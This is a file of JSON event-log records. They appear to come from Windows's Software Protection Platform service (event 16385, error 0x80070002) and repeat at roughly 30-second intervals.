{"@timestamp":1659037771912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173244}}
{"@timestamp":1659037801920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173245}}
{"@timestamp":1659037831926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173246}}
{"@timestamp":1659037861934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173247}}
{"@timestamp":1659037891940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173248}}
{"@timestamp":1659037921948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173249}}
{"@timestamp":1659037951954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173250}}
{"@timestamp":1659037981962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173251}}
{"@timestamp":1659038011967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173252}}
{"@timestamp":1659038041974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173253}}
{"@timestamp":1659038071981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173254}}
{"@timestamp":1659038101987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173255}}
{"@timestamp":1659038131993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173256}}
{"@timestamp":1659038161999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173257}}
{"@timestamp":1659038192005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173258}}
{"@timestamp":1659038222011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173259}}
{"@timestamp":1659038252017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173260}}
{"@timestamp":1659038282025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173261}}
{"@timestamp":1659038312031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173262}}
{"@timestamp":1659038342039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173263}}
{"@timestamp":1659038372047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173264}}
{"@timestamp":1659038402056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173265}}
{"@timestamp":1659038432063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173266}}
{"@timestamp":1659038462071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173267}}
{"@timestamp":1659038492078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173268}}
{"@timestamp":1659038522084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173269}}
{"@timestamp":1659038552090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173270}}
{"@timestamp":1659038582095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173271}}
{"@timestamp":1659038612100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173272}}
{"@timestamp":1659038642106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173273}}
{"@timestamp":1659038672111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173274}}
{"@timestamp":1659038702117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173275}}
{"@timestamp":1659038732122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173276}}
{"@timestamp":1659038762127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173277}}
{"@timestamp":1659038792132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173278}}
{"@timestamp":1659038822138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173279}}
{"@timestamp":1659038852144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173280}}
{"@timestamp":1659038882150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173281}}
{"@timestamp":1659038912156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173282}}
{"@timestamp":1659038942162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173283}}
{"@timestamp":1659038972170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173284}}
{"@timestamp":1659039002177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173285}}
{"@timestamp":1659039032183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173286}}
{"@timestamp":1659039062189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173287}}
{"@timestamp":1659039092196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173288}}
{"@timestamp":1659039122202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173289}}
{"@timestamp":1659039152207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173290}}
{"@timestamp":1659039182213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173291}}
{"@timestamp":1659039212219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173292}}
{"@timestamp":1659039242225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173293}}
{"@timestamp":1659039272232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173294}}
{"@timestamp":1659039302238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173295}}
{"@timestamp":1659039332245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173296}}
{"@timestamp":1659039362251,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173297}}
{"@timestamp":1659039392258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173298}}
{"@timestamp":1659039422263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173299}}
{"@timestamp":1659039452269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173300}}
{"@timestamp":1659039482275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173301}}
{"@timestamp":1659039512281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173302}}
{"@timestamp":1659039542360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173303}}
{"@timestamp":1659039572378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173304}}
{"@timestamp":1659039602384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173305}}
{"@timestamp":1659039632392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173306}}
{"@timestamp":1659039662400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173307}}
{"@timestamp":1659039692408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173308}}
{"@timestamp":1659039722416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173309}}
{"@timestamp":1659039752425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173310}}
{"@timestamp":1659039782432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173311}}
{"@timestamp":1659039812439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173312}}
{"@timestamp":1659039842447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173313}}
{"@timestamp":1659039872453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173314}}
{"@timestamp":1659039902460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173315}}
{"@timestamp":1659039932467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173316}}
{"@timestamp":1659039962475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173317}}
{"@timestamp":1659039992481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173318}}
{"@timestamp":1659040022488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173319}}
{"@timestamp":1659040052497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173320}}
{"@timestamp":1659040082504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173321}}
{"@timestamp":1659040112512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173322}}
{"@timestamp":1659040142520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173323}}
{"@timestamp":1659040172527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173324}}
{"@timestamp":1659040202535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173325}}
{"@timestamp":1659040232542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173326}}
{"@timestamp":1659040262548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173327}}
{"@timestamp":1659040292554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173328}}
{"@timestamp":1659040322561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173329}}
{"@timestamp":1659040352568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173330}}
{"@timestamp":1659040382577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173331}}
{"@timestamp":1659040412583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173332}}
{"@timestamp":1659040442590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173333}}
{"@timestamp":1659040472597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173334}}
{"@timestamp":1659040502604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173335}}
{"@timestamp":1659040532610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173336}}
{"@timestamp":1659040562617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173337}}
{"@timestamp":1659040592624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173338}}
{"@timestamp":1659040622631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173339}}
{"@timestamp":1659040652637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173340}}
{"@timestamp":1659040682644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173341}}
{"@timestamp":1659040712650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173342}}
{"@timestamp":1659040742658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173343}}
{"@timestamp":1659040772664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173344}}
{"@timestamp":1659040802672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173345}}
{"@timestamp":1659040832678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173346}}
{"@timestamp":1659040862684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173347}}
{"@timestamp":1659040892691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173348}}
{"@timestamp":1659040922698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173349}}
{"@timestamp":1659040952706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173350}}
{"@timestamp":1659040982712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173351}}
{"@timestamp":1659041012719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173352}}
